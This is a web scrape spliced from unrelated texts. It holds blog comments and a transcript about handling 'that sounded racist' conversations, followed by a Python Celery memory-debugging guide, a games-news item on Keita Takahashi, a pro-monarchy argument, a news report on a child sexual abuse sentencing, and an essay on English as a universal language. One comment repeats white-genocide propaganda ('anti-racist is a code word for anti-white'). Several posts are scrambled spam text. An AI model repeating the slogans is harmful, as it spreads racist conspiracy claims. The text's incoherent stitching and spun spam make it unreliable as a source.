Posted by: tim at September 6, 2008 1:44 AM Jay, I was surprised to have an opportunity to use this last weekend. Usually, I would just say nothing and think dark thoughts. Hard to hold family accountable, but I did get to create an uncomfortable situation without making anyone feel like I thought they were dispiccable. That's a first for me. Posted by: JasonB at September 8, 2008 2:15 AM Wasn't sure if I should post this to the "open call for ideas" thread instead, but this seems more related: how do you get people to take your experience of racism "seriously"? I have friends/colleagues that dismiss my experiences in comparison to their own and have it devolve into the "oppression olympics"-- who's been more victimized by the system, which can be infuriating, because pain is pain, man. Yours may be greater, but that doesn't invalidate mine. It's not a matter of gaining sympathy or validation, really, but understanding? God, hope that makes sense. Posted by: heyhey at September 12, 2008 7:32 PM Sadly so many people just stay brainwashed about the way they see themselves or others.... if I was told I was stupid all my life it doesnt mean that I am stupid. If all my life I was told I am superior than others that doesnt make it true. You are on the right trak!! I luv this stuff. REALLY GOOD! Posted by: Bill at September 23, 2008 2:01 AM Excellent. Just excellent. OK? Posted by: Daphne at October 12, 2008 2:07 PM I'm using my real name because I'm going to say something I truly mean. Dude! You are one sexy man. And articulate, smart, talented, and witty. Bookmarked ya. Going to put ya on my blog, going to pass your little place around so others can take a peek. Open some minds and freak some out that thought they'd never hear anything hinting at hip-hop coming from me. The economics vids are spot on. Been hanging out at The Agonist for a good long time, some good writing on economics there if you're so inclined or interested. Exactly about Paul Krugman. Posted by: Karman at October 13, 2008 12:59 AM Sometimes people say things at work like hey i am working with two black ladies today!and i feel like i was just separated from all the other workers on the floor because of my skin tone and i get ugly and beat myself up as i don't know what to say as that organization it is widely accepted to call someone of color black but i don't think it should be excepted to call any one out regardlessy6 of color and separate them from any other worker.I guess what I am saying is what can a person retort back i a positive way so that they don't act like the ignorant person who said it without coming out and looking to sensitive? Posted by: Annette at October 24, 2008 4:47 PM i have a problem with what this guy preaches for the fact that many people see racism in actions that aren't racist and will view that innocent person as being accountable.i for example intentionally moved from a predominantly black area to a predominantly white area of town to escape the crime attached to the predominantly minority areas. i don't hate blacks 'nor do i think less of them than i do whites or any other race.There are alot of people that would view my intent for moving from where i've moved and into my current area as being motivated by racism and it wouldn't matter what i said or how i explained it.
also,i hang with people of my own race only. my friends are the same way.we grew up with people of our color and we feel comfortable with that. again,i don't dislike 'nor have any disfavor with blacks or any other race. but again some people would condsider a white person that only hangs with white people and moves into a white area to escape the crime associtaed with the densley populated black areas a racist. the focus is demographics and crime and a comfort zone regarding who i hang with..not racism. but like i said,alot of people would say otherwise.this is why i disagree with what this man says.he's actually not taking into consideration that alot of people mistake what's said or done as racism,and many times they're accusing someone mistakenly.
i understand what he's trying to say,but if everyone holds everybody they hear or see making a racist gesture (verbally or otherwise)alot of people would be unnecessarily explaining themselves all the time. all too many people have their own opinions as what is racism and what is not.if someone says that he/she doesn't date hispanics,..is that person accountable to make give an explanation as to why not even though it's not a racist comment?? alot of people (unfortunately)see preference as discrimination,equating to prejudice or racism. Posted by: djteel at November 19, 2008 8:57 AM guy above. That preference you speak of, that comfort of a white man over a black, brown red or whatever it is, is tied to racism. You say you are more comfortable with a white guy than a black guy, what if they have the same personality traits and socio-economic status? where does your comfort lie? You make no sense, and basically all you seem to do is try to justify your racism by saying you prefer a color, seeing that color as comfort zone in and of itself can be and is the basis of your racism. For your information, black part of town doesn't always mean bad part of town. I am half white half middle eastern, I lived in a predominantly black neighborhood half my life and predominantly white for the other half...crime is everywhere, and is done by every color. Get a grip on yourself, see yourself for what you are...racist. Posted by: Rebecca at November 20, 2008 10:32 PM Race is funny. Neither black nor white wants to hear about the issues that face them as far as this topic is concerned. White people don’t want to hear that their ancestors brought Africans to this country and that our country’s economy is built on the backs of these slaves. Moreover whites don’t want to accept the fact that, maybe worse than slavery, all of the years since the Emancipation Proclamation have been a joke and that all of the racism that still exists comes out of the fear that a black person may be better than you. Blacks don’t want to hear that slavery was a world wide epidemic and was a way of life. Slaves were traded within Africa, but the Europeans and the Arabs really made an art out of the slave trade partly based on the fact that they built societies which allowed them the freedom to travel far and wide and race made the idea of enslaving someone easier. Yes, Arabs also. Even though a lot of people try to make the point that the Arab slave trade was somehow more humane, it wasn’t really and still isn’t. And this isn’t to excuse any of it. I totally believe in Palestine’s right to exist. I also know how black soldiers have been treated in Iraq. It is also interesting that President (elect) Obama picked the child of a Zionist to be his Chief of Staff. Blacks and whites don’t want to hear about white guilt. Yes, it exists. For me growing up in a lower socio-economic black neighborhood I couldn’t stand watching rich white liberals take pity on poor people and especially poor blacks. This whole, “yes I want to help, but I don’t want to live there” sort of mentality. Being a white person from the neighborhood made me sort of a novelty at the time. Growing up in my neighborhood I went on to become a teacher in a few places including Harlem. A student asked me one day if I felt weird teaching them when I knew of everything that happened in the past. I told her I didn’t and then asked if they would rather have me, a teacher that believes in their ability and thinks they are as strong as any student in the country, or a teacher that pity them because they are poor and obviously they can’t do anything on their own. I love Obama because he is ready to challenge everyone, he is change. Jesse Jackson wants to castrate him as to many other blacks and whites depending on what he says. A pull your self up by the bootstraps mentality does need to take hold for lower socio-economic communities as does an understanding of privilege. Everyone needs to start having this conversation and feel comfortable feeling uncomfortable. A great interview between Kam Williams and Shelby Steele; and, I know, Shelby Steele is a “conservative” because of the way he feels. Posted by: BS at November 21, 2008 12:31 AM Yeah, that interview link (quick on the enter key on my last post). Two people comfortable with differences, yet still understanding. http://www.blackstarnews.com/?c=135&a=4280
Posted by: BS at November 21, 2008 1:05 AM this was so good
thanks Posted by: Alison at December 10, 2008 2:37 PM On your strategy of "holding people accountable for what they did"; you are assuming that you are in a position of judgment on that person for what they are doing in which you disagree. They on the other hand have just as much right to disagree and judge you for your action of seeking accountability against them. Your advice at that point becomes ineffective. The conversation will most assuredly be reduced to the "what you are" conversation for it is inevitable. Nice try though.
Posted by: PTom at December 19, 2008 6:14 PM PTom: You are misunderstanding my video.. The conversation I'm suggesting does not at all assume a position of power for either side nor cast anyone as the ultimate "judge." It is presented simply as the best way to allow a fair hearing for BOTH sides, on equal terms. It assumes as a given that the "accused" has an equal right to respond, and explain why they disagree with the accuser's assessment (by addressing it directly instead of dodging it). And it assumes that avoiding the "what they are trap" is the best way for BOTH sides to represent their view and have a fair/honest/constructive airing of their disagreement. I know both from experience, and from many replies since I made this video, that it's fully possible for such a conversation to happen. It won't happen every time or even most of the time, but it's not at all impossible. And it's always worth striving for. (even when you fail, because to whatever extent it is a public discourse, maintaining a focus on the issues at hand makes the convo more useful for those observing, even when you come no closer to a common understanding with your antagonist)
Posted by: Jay Smooth at December 22, 2008 12:46 AM Happened to come across this video online. Not bad, but I take issue with the notion that racism is the "final frontier". Not even close. There are a lot of social problems and prejudices in our society that are 100 times worse than racism these days. Just sayin'. Thanks for the vid anyway. Posted by: NMSC at February 27, 2009 7:32 PM @NMSC "There are a lot of social problems and prejudices in our society that are 100 times worse than racism these days." This is true; but for every social problem and prejudice that exists, it seems that once you mix in racism, it gets infinitely worse. Poor? Poor and a minority, then it's all messed up. Female? Female and a minority, and a big mess. Probably that's how it's the final frontier. Finding a way to remove racism so we can concentrate on fixing these other '100-times-worse' issues. And if we can step up and say, "Hey, that is racist," then someone will climb off their privileged soapbox and think about it. Posted by: lutchien at March 10, 2009 9:35 PM That's really good advice, not just when dealing with racism, but when dealing with any kind of unacceptable behaviour. You can kind of ease it too by using the "sh!t sandwich" approach - tell 'em something you like about them, give 'em the "BUT what you just said sounded racist, because x, y & z - did you maybe mean it differently?" & have the "What you did..." conversation - and then if you get a good response, give 'em the third part of the sandwich, which is another bit of bigging them up - so they come away having learned something (not to make the watermelon jokes etc) but also feeling like they can get on with you & you're not enemies because you pulled them up over it. Posted by: Matt Moran at March 15, 2009 1:19 PM Wonderful - simple, clear, pithy, elegant, and most of all: extremely useful. You've made clear one of the basic tenets of communication & confrontation - stick to the facts, Jack - and applied it to dealing with racist statements. Such conversations have a better chance of succeeding- i.e., actually reaching the person - when they are confined as closely as possible to "what happened" as opposed to "here's what I claim I know about why it happened." Thank you - I'll be passing this on. “Remember, when the judgment’s weak, the prejudice is strong.” - Kane O’Hara, Midas. Act i. Sc. 4. "The most violent element in society is ignorance." - Emma Goldman "I imagine that the reason that people cling to their hate so stubbornly is because they are afraid that if they let go of the hate, they will have to deal with pain." - James Baldwin, Notes of a Native Son Posted by: QuoterGal at March 15, 2009 3:12 PM @Rebecca: May I suggest you re-read your post and watch the video again? Posted by: Charlie at March 15, 2009 4:59 PM i think wat u said wss absolutely rite,people should be judge on wat dey do as a person nn how dey act not whoo dey are rr their culture rr enthcity.aisha frm gleman's clazz Posted by: aisha at May 21, 2009 9:23 PM BRILLIANT!!! Posted by: Kevin at July 30, 2009 2:08 PM STATION! Posted by: Ionreflex at July 30, 2009 4:48 PM okay... wat'd he just say? i couldnt even keep up let alone agree or disagree. Posted by: chelsea at August 27, 2009 9:23 AM Keep working,great job. Posted by: Philadelphia SEO at February 5, 2010 6:51 AM I think this guy has good reasoning and good ways to confront someone about being racist. I also believe that people are too worried about being racist. Unless someone is purposely insulting you by criticizing your race, i don't think it is a big deal. Posted by: Joe at February 8, 2010 12:36 AM I like your argument, people should be confronted because of their actions not who they are. Like you said it is easier to confront someone about a statement they made than telling them they are racists. Posted by: Asto at March 27, 2010 2:25 AM THANK you. Posted by: ttp at March 30, 2010 8:42 PM Here's a transcript of the video for those who prefer text: Race, the final frontier, no matter what channel you watch, no matter what feed you aggregate, it seems like everybody everywhere is talking about race right now. And when everybody everywhere is talking about race, that means sooner or later you're gonna have to tell somebody that they said something that sounded racist. So you need to be ready and have a plan in place for how to approach the inevitable "that sounded racist" conversation, and I'm going to tell you how to do that. The most important thing that you've got to do is to remember the difference between the "what they did" convesation and the "what they are" conversation. Those are two totally different converations and you need to make sure you pick the right one. The "what they did" conversation focuses strictly on the person's words and actions and explaining why what they did and what they said was unacceptable. This is also known as the "that thing you said was racist" conversation, and that's the conversation you want to have. The "what they are" conversation on the other hand takes things one step further and uses what they did and what they said to draw conclusions about what kind of person they are. This is also known as the "I think you are a racist" conversation. This is the conversation you don't want to have, because that conversation takes us away from the facts of what they did and into speculation about their motives and intentions, and those are things you can only guess at, and can't ever prove, and that makes it too easy for them to derail your whole argument. And that is the part that is crucial to understand. When you say "I think he is a racist" that's not a bad move because you might be wrong, that's a bad move because you might be rigth. Because if that dude is really a racist, you want to make sure you hold him accountable and don't let him off easy. And even thoughintuitively it feels like the hardest way to hit him is just run up on him and say I think his ass is racist, when you handle it that way, you're actually letting him off easy. Because you're setting up a conversation that is way too simple for him to derail and duck out of. Just think about how this plays out every time a politician or celebrity gets caught out there. It always starts out as a "what they did" conversation. But as soon as the celebrity and their defenders get on camera, they start doing judo flips and switching it into a "what they are" conversation. "I have known this person for years and I know for a fact that they are not a racist. How dare you claim to know what's inside their soul just because they made one little joke about watermelon, tap dancing, and going back to africa." And then you try to explain that we don't need to see inside their soul to know they shouldn't have said all that about the watermelon. And you try to focus on the facts of the situation, but by then it's too late because the "what they are" conversation is a rhetorical bermuda triangle where everything drowns in a sea of empty posturing until someone just blames it all on hip-hop and we forget the whole thing ever happened. Don't let this happen to you. When somebody picks my pocket, I'm not gonna be chasing him down so I can figure out whether he feels like he's a thief deep down in his heart. I'm gonna be chasing him down so I can get my wallet back. I don't care what he is, but I need to hold him accountable for what he did. And that's how we need to approach these conversations about race. Treat them like they took your wallet and focus on the part that matters, holding each person accountable for the impact of their words and actions. I don't care what you are. I care about what you did.
Posted by: Greg at April 24, 2010 3:15 PM I think one issue with saying "that sounded racist" is that "sounded" can sometimes get a very loose interpretation. I just saw a thread where someone said something completely without any discriminatory words and someone on the thread completely misquoted them and then said something to the effect of 'it sounds to me like you want to discriminate and not get called on it'. It was an assumption of bad faith. But I don't think you can take someone's words or behaviour, find the worst possible interpretation behind those words/behaviour, and call it valid. For example, not every cop who arrests a black man is racist. And if you see a cop arrest a black man, and assume the cop must be racist, then that's an assumption of bad faith. Yes, some cops are racist. Yes, the issue of racial profiling is a real issue. But it's still incorrect to take one cop arresting a particular black person and assume it must be racially motivated. That would require determining intent. And intent is a quagmire. Say someone someone describes Obama as "articulate and bright and clean". You could assume bad faith and say that racists use inarticulate and dirty to describe blacks, therefore this guy must be a racist of some kind. But Jay said not to go into intent, just talk about how it "sounds", so you try to use that advice, and you come out and say "it sounds to me like you're a flaming racist". Don't take the "that sounds racist" and use it as a smoke screen to try and make accusations about the person's intent. It's just as bad and just as much a quagmire. Posted by: Greg at April 25, 2010 4:40 PM Thanks so much for this video. I tried to talk to a friend about this tonight and did a really lousy job. I have tried to find suggestions on how to handle touchy situations like this, but there isn't a lot of info available specifically about how to have the conversation with someone. I live in the South and, at times, it can be merely a case of ignorance, rather than bad intent. If it should come up again, the idea of keeping it about what they did/said (only) will really help me. I learned something from your short clip. Thanks again. Posted by: Karen at May 12, 2010 11:25 PM Do you have a blog about how to tell a person they sound like they want to be black? Posted by: oaklandfunk at July 26, 2010 10:52 PM i'm new... promise to brief nearly more time after time! Posted by: erydayantenty at August 15, 2010 4:48 PM i'm new... anticipation to despatch around more oftentimes! Posted by: erydayantenty at August 17, 2010 1:17 PM I love you! Posted by: Lia at September 9, 2010 6:21 PM "Everybody says there is this RACE problem. Everybody says this RACE problem will be solved when the third world pours into EVERY white country and ONLY into white countries." "The Netherlands and Belgium are more crowded than Japan or Taiwan, but nobody says Japan or Taiwan will solve this RACE problem by bringing in millions of third worlders and quote assimilating unquote with them."
"Everybody says the final solution to this RACE problem is for EVERY white country and ONLY white countries to "assimilate," i.e., intermarry, with all those non-whites."
"What if I said there was this RACE problem and this RACE problem would be solved only if hundreds of millions of non-blacks were brought into EVERY black country and ONLY into black countries?"
"How long would it take anyone to realize I'm not talking about a RACE problem. I am talking about the final solution to the BLACK problem?"
"And how long would it take any sane black man to notice this and what kind of psycho black man wouldn't object to this?"
"But if I tell that obvious truth about the ongoing program of genocide against my race, the white race, Liberals and respectable conservatives agree that I am a naziwhowantstokillsixmillionjews."
"They say they are anti-racist. What they are is anti-white."
"Anti-racist is a code word for anti-white." Posted by: WhiteRabbittRise at December 19, 2010 3:54 PM dsadasdasdasd adsdasdadasd asdasdasdasdsadas dasdadadsadadsa dasdasddsa dsa dsadasdadas dsadasda dsadadas Posted by: geosserboax at January 5, 2011 4:52 PM very nice... probably it can applied else where also when one can not exacly find the right argument to make the other person realize who is right and who is wrong. Posted by: faisal at January 31, 2011 4:58 AM Hey, nice art i add your blog to my rss! Posted by: najtańsze odżywki at February 16, 2011 4:50 AM Thx for this article. Very good. Posted by: tanie odżywki at February 17, 2011 3:22 PM what is corporation?
A corporation is a separate entity that files its own excise return... The ambition is to keep an eye on the business analyse from the individual... for the purpose lesson, if someone has a concern, it's most qualified to incorporate in case the charge gets sued for a apportionment of money... (also inasmuch as assessment benefits)... If the party gets sued, the corporation is apt to on, not the individual... in other words, the solitary is not required to yield up his cabbage and assets to pay on a judgment against the convention because the concern is a split entity...
In California possibly man (1) being can tint a corporation.. Posted by: XXBobby at February 20, 2011 4:33 PM okay so my red blackberry curve is broken so im getting a hip fone..i have at&t i cannot spend more than $360 and im not starting a novel plan. I was looking at the older Treo's. Is there any phone you recommend? I abstract a heaps so i need good battery. Also what is your reconsider on the phone. and if you acquire the older treo do u like it? what r the pro's and cons? help! Posted by: IYLarry at February 21, 2011 8:42 AM I'm planning to visit Amsterdam, Netherlands next week. I would like to know whether the Marriot Hotel (located between Leidseplein and Vondelpark) or the Renaissance Hotel (located between Central Station and Dam Square) would be more convenient given the winter weather.
Which hotel location is better for tourist to see the major attractions in the wintertime? Any other travel tips for exploring Amsterdam in December? Thank you. Posted by: AAWilliam at February 22, 2011 5:42 PM I just be familiar with up on some rousing further electric cars that drive be coming elsewhere in the next 3 years that affiliation my budget and wish be subjected to up to 300 mpg!!!
But I was wondering, how these cars would hold on a drive after a ice storm? The buggy would be prominent recompense me, but i busy in the midwest and need a buggy
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repeat for a thousand different data sets. We ran through a few data sets successfully, but once we started running though ALL of them, we noticed that the memory of the celery process was continuing to grow.
In celery, each task runs in one of a fixed number of processes that persist between tasks. We assumed we had a memory leak on our hands; somehow we were leaving references around to our data structures that were remaining in memory and not being garbage collected between tasks. But how do you go about investigating exactly what is happening?
Note: Stop everything, and make sure that you’re not in DEBUG mode, assuming you’re using Django. In that mode, every database query you make will be stored in memory, which looks a lot like a memory leak.
Linux Utilities
The command line utilities top or the more pleasing htop should be your first stop for any CPU or memory load investigation. In our case, we had observed that the machine would run out of memory and start paging while running our tasks. So we kicked them off again, and watched the processes in htop. Indeed, the processes grew from their initial size of 100MB, slowly, all the way up to 1GB before we killed them. We could see from the logs that any individual tasks were being completed successfully along the way.
We were able to reproduce the behavior in our development environment, though we only had enough data for the process to balloon to a few hundred megabytes. Once we had the behavior reproducible in a script that could be run on it’s own outside of celery (using CELERY_ALWAYS_EAGER ), we could using the GNU time command to track peak memory usage, ie /usr/bin/time -v myscript.py.
Note: we’re specifying the full path to time so that we get the GNU time command, and not the one built into bash.
Note: there is a bug in some versions of the utility that mis-reports memory usage by multiplying it by a factor of four. Double-check using top.
Resource Module
You can actually get the amount of memory your process is using from inside your Python process, using the resource module.
import resource print 'Memory usage: % s (kb)' % resource. getrusage ( resource. RUSAGE_SELF ). ru_maxrss
This can be useful for adding logging statements to your code to measure memory usage over time, or at critical junctures of a long-running process. This can help you isolate the critical section of your code that’s causing the memory issue.
Objgraph
Once you have identified a spot in your code just after the memory issue has occurred, you can query for the objects currently in memory right from Python, as well. You will probably need to do a pip install objgraph first.
import gc gc. collect () # don't care about stuff that would be garbage collected properly import objgraph objgraph. show_most_common_types () tuple 5224 function 1329 wrapper_descriptor 967 dict 790 builtin_function_or_method 658 method_descriptor 340 weakref 322 list 168 member_descriptor 167 type 163
Heapy
Maybe you’ll get lucky and see a custom class that you’ve defined at the top of the list. But if not, what exactly is in those generic type buckets? Enter guppy, which is like show_most_common_types on steroids. Again, you will likely need to install this via pip install guppy. The great thing about guppy/heapy is that you can take a snapshot of the heap before your critical section and after, and diff them, just getting the objects that were added to the heap in between.
from guppy import hpy hp = hpy () before = hp. heap () # critical section here after = hp. heap () leftover = after - before import pdb ; pdb. set_trace ()
You probably want a pdb session here, so you can interactively investigate the heap diff. The best heapy tutorial I have found is How to use guppy/heapy for tracking down memory usage.
> leftover Partition of a set of 134243 objects. Total size = 65671752 bytes. Index Count % Size % Cumulative % Kind ( class / dict of class ) 0 16081 12 45332744 69 45332744 69 unicode 1 18714 14 5493360 8 50826104 77 dict ( no owner ) 2 47441 35 3925672 6 54751776 83 str 3 21300 16 1786080 3 56537856 86 tuple 4 344 0 820544 1 57358400 87 dict of module 5 654 0 685392 1 58043792 88 dict of django. db. models. related. RelatedObject 6 5543 4 665160 1 58708952 89 function 7 708 1 640992 1 59349944 90 type 8 4946 4 633088 1 59983032 91 types. CodeType 9 705 1 442776 1 60425808 92 dict of type > leftover. byrcs [ 0 ]. byid Set of 16081 < unicode > objects. Total size = 45332744 bytes. Index Size % Cumulative % Representation ( limited ) 0 80 0.0 80 0.0'media-plugin...re20051219-r1' 1 76 0.0 156 0.0 'app-emulatio...4.20041102-r1' 2 76 0.0 232 0.0 'dev-php5/ezc...hemaTiein-1.0' 3 76 0.0 308 0.0 'games-misc/f...wski-20030120' 4 76 0.0 384 0.0'mail-client/...pt-viewer-0.8' 5 76 0.0 460 0.0'media-fonts/...-100dpi-1.0.0' 6 76 0.0 536 0.0'media-plugin...gdemux-0.10.4' 7 76 0.0 612 0.0'media-plugin...3_pre20051219' 8 76 0.0 688 0.0'media-plugin...3_pre20051219' 9 76 0.0 764 0.0'media-plugin...3_pre20060502
Note: memory dumps have been fabricated to protect the innocent.
GDB
An interesting thing happened when we were using heapy. We noticed that heapy was only reporting 128MB of objects in memory, where as the resource module and top agreed that there was almost 1GB being used.
To get an idea of what was comprising the remaining 800+ MBs, we turned to gdb, specifically to a python helper called gdb-heap.
sudo apt - get install libc6 - dev sudo apt - get install libc6 - dbg sudo apt - get install python - gi sudo apt - get install libglib2. 0 - dev sudo apt - get install python - ply # assuming 7458 is the PID of your memory hogging python process sudo gdb - p 7458 > generate - core - file # this will save a.core file, which you can then examine in gdb sudo gdb python myfile. core - x ~/ gdb - heap - commands
In our case, what we saw was mostly indecipherable. But there seemed to be a ton of tiny little objects around, like integers.
Explanation
Long running Python jobs that consume a lot of memory while running may not return that memory to the operating system until the process actually terminates, even if everything is garbage collected properly. That was news to me, but it’s true. What this means is that processes that do need to use a lot of memory will exhibit a “high water” behavior, where they remain forever at the level of memory usage that they required at their peak.
Note: this behavior may be Linux specific; there are anecdotal reports that Python on Windows does not have this problem.
This problem arises from the fact that the Python VM does its own internal memory management. It’s commonly know as memory fragmentation. Unfortunately, there doesn’t seem to be any fool-proof method of avoiding it.
Celery tends to bring out this behavior for a lot of users.
AFAIK this is just how Python works. I would guess that the operating system will reuse the memory anyway, since it can just swap it out if it’s not used. If you have allocated a chunk of memory, there’s a big chance that you will need it again, and it’s better to delegate memory management to the operating system. … There is no solution - that I know of - to make Python release the memory … Ask Solem, author of celery
Workarounds
For celery in particular, you can roll the celery worker processes regularly. This is exactly what the CELERYD_MAX_TASKS_PER_CHILD setting does. However, you may end up having to roll the workers so often that you incur an undesirable performance overhead.
For non-celery systems, you can use the multiprocessing module to run any function in a separate process. There is a simple looking gist called processify that does just that.
Note: This may have the undesirable effect of using more shared resources, like database connections.
You could also run your Python jobs using Jython, which uses the Java JVM and does not exhibit this behavior. Likewise, you could upgrade to Python 3.3,
Ultimately, the best solution is to simply use less memory. In our case, we ended up breaking the work into smaller chunks (individual days). For some tasks, this may not be possible, or may require complicated task coordination.Cult-favorite designer Keita Takahashi has left publisher Namco Bandai. Theandcreator's exit from the publisher has been long-rumored, and his candid disappointment with the game industry fairly widely-publicized, but the company has now confirmed Takahashi's departure officially.A Namco Bandai spokesperson gave official comment to consumer site Play.tm, not long after an interview with Takahashi emerged in which he referred to the publisher as a "so-so company". However, he wasn't any more laudatory of his own work: "I am so inefficient I only made four games in 11 years," he said.Takahashi is known to be working on a children's playground design project located in Nottingham, UK.Beyond that, it's unknown if he'll take on further work in the game industry; in fact, last month he told Official PlayStation Magazine that he is "actually not thinking about a future in games... I want to try lots of different things.""At E3 I saw people putting on speeches, but I thought the future seemed a bit dark," he informed OPM, as reprinted in its sister website C&VG. "The 3D games didn't spark my interest... I think motion control's a bit old now, I don't think those games are the future. It all seemed a bit dull."Takahashi'sbecame an unexpected hit when it arrived on PlayStation 2 in 2004. The odd game, in which players use the PS2's twin analog sticks to roll an assortment of objects great and small into a brightly-colored, sticky ball, gained widespread acclaim.It was praised as much for its gleeful silliness -- poppy Japanese soundtrack, rainbows galore and an off-kilter and effete 'King Of All Cosmos' character to instruct the player -- as it was for its gameplay, engaging yet deceptively simple.Multiplatform sequels to, such as, were never as widely well-received as the game's initial installment. Takahashi followed upin 2009 with, a PlayStation Network title intended to focus the player on unstructured play.The game, which was released on iOS platforms less than a year later, stars Boy, a four-legged, striped creature whose front and back ends can be moved independently, so players can stretch him out. The title's only goal is for players to collectively contribute length to Girl, Boy's counterpart in space. Many mainstream critics and gamers were unsure what to make of it, but it gained darling status among Takahashi fans and those with an affinity for offbeat games.1. Monarchies are pro-people. Monarchs represent all, while politicians are necessarily partisan and divisive.
Aristotle: “The idea of a king is to be a protector of the rich against unjust treatment, of the people against insult and oppression. Whereas a tyrant, as has often been repeated, has no regard to any public interest, except as conducive to his private ends; his aim is pleasure, the aim of a king, honor. Wherefore also in their desires they differ; the tyrant is desirous of riches, the king, of what brings honor. And the guards of a king are citizens, but of a tyrant mercenaries.” (Politics, Book 5, Section 10)
Hilaire Belloc: “You must have one man sufficiently removed from temptation by his own absolute position and vested with sufficient powers, able to act with sufficient rapidity. That one man is a concrete object. He can be got at by the people. He can be blamed or praised. He knows that he is responsible. He cannot shift his burden on to some anonymous and intangible culprit. And that, in itself, apart from the natural indifference and therefore impartiality of one who is above bribery and above blackmail, through his control of national wealth and power, is a vast force in favour of just government.” (The House of Commons and Monarchy, p. 179-180)
Hans-Hermann Hoppe: “Confronted with an almost insurmountable barrier in the way of upward mobility, the solidarity among the ruled — their mutual identification as actual or potential victims of governmental property rights violations — is strengthened, and the risk to the ruling class of losing its legitimacy as the result of increased exploitation is heightened.” (Democracy: The God That Failed, p. 47)
2. Monarchical tyranny is more easily corrected.
If the people are corrupt, then so is the democracy. In monarchy, either the people or the monarch can check the other. Democracy gives the illusion of control of the masses, keeping them happy while hurting them. Joe Sobran said, “As the old saying has it, ‘If voting could change anything, it would be illegal.’ It already is. Opting out of the system would be the most meaningful ‘vote’ imaginable, sending our rulers a real message; so, naturally, it’s illegal. Low voter turnout doesn’t bother them at all; low taxpayer turnout would be another matter.”
To also quote Sir Charles Coulombe, “The fact is that people have the illusion of control, and so they accept treatment that they would never accept from a hereditary monarch. If our Constitution was altered in one respect, if the Presidency was made into a hereditary monarchy — with precisely the same powers outlined that he has in the Constitution — I guarantee you he wouldn’t be allowed to exercise more than what’s in the Constitution, because people have an immediate suspicion of anything hereditary. But they’ll swallow anything elected, right in the mouth. It’s amazing!”
In more traditional systems, where militias of armed citizens can overwhelm any separate, professional military class, it is even easier to revolt. The former power rests on substantial sovereignty, while the latter depends on fickle government favor. Therefore, which is the more motivated party is not hard to guess. Stephen P. Halbrook notes, “Because no free man submits to a tyrant and because rule without consent is neither rightful nor legal, Aristotle deemed arms possession a requisite to obtain or to maintain the status of being a freeman and citizen” (That Every Man Be Armed: The Evolution of a Constitutional Right, p. 8).
With all of this, one should also note that the monarch has no reason to oppress, because he has no need to gain more domestic power. He is already comfortable in his already ultimate authority.
3. Monarchs are born to rule, instead of merely happening to rule. There is inherent emphasis on family, continuity and tradition, and stability — and there is far, far less on time preference. All of this helps in the oaks vs. sandboxes dilemma.
4. For the Christian, monarchy best represents the inherent hierarchy in the world. The Christ is King. The Pope is king. The father is king of his household.
—An elementary school student is credited with helping save a friend after 18 months of sexual abuse by a family friend.
That friend, Andrew Cook, 30, was sentenced this month to 21 years in prison after pleading guilty to sexual conduct with a minor and sexual exploitation of a minor.
On October 27, 2017, Peoria police were contacted by an elementary school who alerted them that one of their students may be the victim of sexual abuse.
The school was contacted by a parent who told them that the victim confided in their child that she was being tied up, sexually abused and photographed. She was also threatened by the suspect with death if she exposed him.
The victim also told her friend that the suspect had broken her arm. School officials confirmed that the victim came to school in a sling at the beginning of the school year.
Police and investigators from the office of child welfare removed the child from the Peoria home and interviewed her.
Are there sex offenders in your neighborhood? Check Valley map
The victim recalled multiple incidents over the past 18 months of sexual contact and the taking of sexually explicit photos. She identified the suspect as Andrew Cook, a family acquaintance.
Police collected Cook’s cell phone memory card. On it, they found multiple nude photos of the victim and Cook. In one of the images, a tattooed "W" is reportedly seen on a man's finger. Cook has the same tattoo on his finger.
Cook was arrested at his home last October.English as a Universal Language
by Carlos Carrion Torres - Vitoria ES - Brazil
English is without a doubt the actual universal language. It is the world's second largest native language, the official language in 70 countries, and English-speaking countries are responsible for about 40% of world's total GNP.
English can be at least understood almost everywhere among scholars and educated people, as it is the world media language, and the language of cinema, TV, pop music and the computer world. All over the planet people know many English words, their pronunciation and meaning.
The causes for this universality are very well known and understandable. English first began to spread during the 16th century with British Empire and was strongly reinforced in 20th by USA world domination in economic, political and military aspects and by the huge influence of American movies.
The concept of a Universal Language is more significant only now, in the era of world mass communication. Before this era Greek, Latin, French were to some extent universal languages, though mainly in Europe.
By a lucky coincidence due to factors above, English, the Universal language, is one of the simplest and easiest natural languages in the world. The only other simple and easy languages are constructed ones.
Of course the concept of easiness is relative, and it depends on which language you know already. However the concept of simplicity is undeniable: English in an easy language to learn, understand and speak. A complex language such as Hungarian would be a very unlikely candidate for a universal language.
First of all, English Language uses Latin alphabet, the most universal, simple and short one (only the Greek alphabet is shorter and simpler). In addition, in English, the Latin Alphabet presents its most "clean" form as a true alphabet with only 26 basic letters and no diacritics;
Verb conjugation is very simple and easy. Even for irregular verbs, there is almost no variation in person (except 3rd singular in present tense).
Regular verbs have only four forms: Infinitive + Present, Past Tense + Past Participle, 3rd person singular Present Indicative, Present Participle.
There are almost no Inflections. No number or gender inflection for adjectives, articles, adverbs. For adjectives there is only comparative and superlative, almost only number for nouns. In pronouns there are gender and number inflections and only three declension cases (Acc/Dat, Nom, Gen).
English is one of the most analytical languages, with no significant synthetic, fusional or agglutinative characteristics.
Could be there any other alternative for Universal Language, instead of English?
There are other languages that are quite simple and synthetic, with almost no verb conjugation, no declension, such as Asian languages like Thai and Chinese, but they are written with complicated scripts and are tonal languages. However if Chinese were to be written with the Latin alphabet, it could potentially become a univeral language.
There are other strong languages that, due to population and economic power, could be univeral languages, but they have a number of disadvantages when compared with English.
Some examples:
Japanese: has very regular verbs but also a very complicated script.
Chinese: no conjugations or declension, but a very complicated script and tones.
German has many more inflections than English.
The major Romance languages, such as French, Spanish and Portuguese, have fewer inflections than most of languages, but their verb conjugation is very complicated.
Russian has both complex verb conjugations and numerous noun declensions.
In conclusion, it is lucky for us that our universal language is the simplest and easiest, even though that simplicity and easiness weren't the reasons that lead English to that condition.
Articles by Carlos Carrion Torres
Comparação Português e Castelhano
English as a Universal Language
Língua Estrangeira para Lusófonos
Short words, basic ideas
The pleasure of learning languages
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If you need to type in many different languages, the Q International Keyboard can help. If enables you to type almost any language that uses the Latin, Cyrillic or Greek alphabets, and is free.
